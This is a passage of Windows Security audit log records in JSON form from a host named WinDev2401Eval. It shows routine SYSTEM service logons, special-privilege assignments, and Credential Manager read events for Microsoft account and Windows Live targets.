","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.871922Z"}},"EventRecordID":21096,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.973818Z"}},"EventRecordID":21097,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.990754Z"}},"EventRecordID":21098,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.004151Z"}},"EventRecordID":21099,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.004615Z"}},"EventRecordID":21100,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.008410Z"}},"EventRecordID":21101,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.441830Z"}},"EventRecordID":21102,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.452937Z"}},"EventRecordID":21103,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.464093Z"}},"EventRecordID":21104,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.464313Z"}},"EventRecordID":21105,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.466972Z"}},"EventRecordID":21106,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.467008Z"}},"EventRecordID":21107,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:(token):name=02grfmhelkgyufkr;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.467182Z"}},"EventRecordID":21108,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:(cert):name=02grfmhelkgyufkr;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.878180Z"}},"EventRecordID":21109,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.882039Z"}},"EventRecordID":21110,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.883531Z"}},"EventRecordID":21111,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:27.883609Z"}},"EventRecordID":21112,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"MicrosoftAccount:user=02grfmhelkgyufkr","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:28.116889Z"}},"EventRecordID":21113,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:28.116893Z"}},"EventRecordID":21114,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:29.213547Z"}},"EventRecordID":21115,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:29.213631Z"}},"EventRecordID":21116,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:29.214004Z"}},"EventRecordID":21117,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:29.554909Z"}},"EventRecordID":21118,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:29.555298Z"}},"EventRecordID":21119,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:29.556597Z"}},"EventRecordID":21120,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:29.556638Z"}},"EventRecordID":21121,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
